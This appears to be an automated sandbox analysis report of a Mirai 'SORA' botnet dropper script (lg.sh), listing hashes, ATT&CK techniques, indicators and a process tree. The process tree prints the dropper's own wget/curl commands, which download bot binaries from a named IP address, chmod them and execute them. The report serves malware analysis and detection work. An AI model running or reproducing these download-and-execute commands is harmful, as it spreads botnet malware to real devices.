mirai | f90209498b787e94cb54a58c548994667bc712526f541bf86142a14ac6cd3bcf

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-11-2024 14:37

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General

Target

lg.sh
Size

2KB
MD5

bc5d26efda012ff6acde82ad9df727ba
SHA1

ca673c3c525f1e35bcab62dc95a426620d844850
SHA256

f90209498b787e94cb54a58c548994667bc712526f541bf86142a14ac6cd3bcf
SHA512

2718a545aa565f06edd6dae806b09dfa0a2e57ee4a21f954d5295400691daf5db8b69d7b429c8614fa1d1dc50be5446caccdce7662d448b5fea4d4a32818dc55

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (33933) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
723	chmod
734	chmod
740	chmod
805	chmod
758	chmod
869	chmod
886	chmod
857	chmod
863	chmod
777	chmod
816	chmod
835	chmod
875	chmod
880	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	724	robben
/tmp/robben	735	robben
/tmp/robben	741	robben
/tmp/robben	759	robben
/tmp/robben	779	robben
/tmp/robben	806	robben
/tmp/robben	817	robben
/tmp/robben	836	robben
/tmp/robben	858	robben
/tmp/robben	864	robben
/tmp/robben	870	robben
/tmp/robben	876	robben
/tmp/robben	881	robben
/tmp/robben	887	robben

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	2dj14001amgbc5o	806	robben

Reads runtime system information 40 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/676/exe	robben
File opened for reading	/proc/700/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/862/exe	robben
File opened for reading	/proc/810/exe	robben
File opened for reading	/proc/492/exe	robben
File opened for reading	/proc/547/exe	robben
File opened for reading	/proc/871/exe	robben
File opened for reading	/proc/878/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/696/exe	robben
File opened for reading	/proc/867/exe	robben
File opened for reading	/proc/875/exe	robben
File opened for reading	/proc/792/exe	robben
File opened for reading	/proc/800/exe	robben
File opened for reading	/proc/817/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/506/exe	robben
File opened for reading	/proc/877/exe	robben
File opened for reading	/proc/695/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/869/exe	robben
File opened for reading	/proc/883/exe	robben
File opened for reading	/proc/884/exe	robben
File opened for reading	/proc/807/exe	robben
File opened for reading	/proc/697/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/870/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/548/exe	robben
File opened for reading	/proc/694/exe	robben
File opened for reading	/proc/788/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
728	wget
731	curl
733	cat

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/robben	lg.sh

/tmp/lg.sh
/tmp/lg.sh
1⤵
- Writes file to tmp directory
PID:697
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/cat
  cat sora.x86
  2⤵
  PID:722
- /bin/chmod
  chmod +x lg.sh robben sora.x86 systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-46Yggv
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:724
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:733
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-46Yggv
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:735
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:739
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-42d3a74da0534226a95c59cd6538176e-systemd-timedated.service-46Yggv
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i468
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/cat
  cat sora.i468
  2⤵
  PID:756
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:759
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat sora.i686
  2⤵
  PID:776
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:779
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:804
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:806
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm4
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/cat
  cat sora.arm4
  2⤵
  PID:815
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:817
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat sora.arm5
  2⤵
  PID:833
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:836
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/cat
  cat sora.arm6
  2⤵
  PID:856
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:858
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/cat
  cat sora.arm7
  2⤵
  PID:862
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:864
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/cat
  cat sora.ppc
  2⤵
  PID:868
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:870
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:874
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:876
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/cat
  cat sora.m68k
  2⤵
  PID:879
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:881
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:883
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/cat
  cat sora.sh4
  2⤵
  PID:885
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Executes dropped EXE
  PID:887

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/robben

Filesize
28KB

MD5
fa5457b7546c1b7060c30bde3f8649ca

SHA1
7c75f6463c36eaebc4719f47d8047e5195a85057

SHA256
d3f2f30efffec0f49e28199c60b2819a3e831ae0ba920abd2c5ece5e4bfb3adf

SHA512
f012d61a479015af70447b1c3bd2a48c2977691f9a180f4f5c3340b034c65d69782299cb8459e92e3a18dcadfa3078c8b1c613593170f9fa95dd53ba36050c21

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/tmp/robben

Filesize
28KB

MD5
ec332610b0ca5b634c097ed14f42eedc

SHA1
abcbd111601f4165c400e9db36fbf20339e37170

SHA256
2bfdc588e26d5f6ac54ca3330ced3ab2bfc9bafb98cdd91fd017180dd5848b3a

SHA512
f41f54e2aca4a5dfa3d7bcbad45963aa943fa3b6536c34f7c92c7c79894f1009ef5ab13cfed39b74ffc614791b77497689bcbe71edfefecb20497d873c92d1b0

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
d356657b6ea7a715b60217a914eb6ca8

SHA1
b276b1a91895c3025e9f9d64227205dac79c8ef6

SHA256
b0758e5e7fde30404ec43dd5fba21253735464062e8a10f0876193d18194fe22

SHA512
3b0ab5d1282c9d2ea18ed0fc78aeabafde6c16fa094d53d39a67d3316482da0cffa444dd5dc14aeefb547ce2f789480caa5bb514cb4a26787c7441ba8862e262

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/tmp/robben

Filesize
64KB

MD5
fb3d051f41bd7347aeff64980f2d100b

SHA1
5261ff91b8d99d6b8f5f647e33aad29b90cee973

SHA256
19f4b46d738fa23ff571db081cea0bf34509b9799de2116853e77691faaebec1

SHA512
82dd9805571030fc4a56a8d5838f5ee3fe1b162f059c905a48f37abcc4dc58442e1e909ab4a2352d690af8ac306eafe4d89cb87f37baec8a8136d48e884be4dd

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/tmp/sora.x86

Filesize
27KB

MD5
00eff503439515d9b12b9c068367cb80

SHA1
82d68f2b1ffca8558458c1b858599542a67d8bbf

SHA256
2962b987b00b166299f9a73f7ccb8dc02b4208266465b41f6b1c9c28277d7276

SHA512
3800bc5a8f3983fc50813c49c906203af6528ff3eb97b4818a8632085562c25eab1c691edb5dcdc96c8d2c3f25784a41897ec8a52c042d391899a310224d50f5

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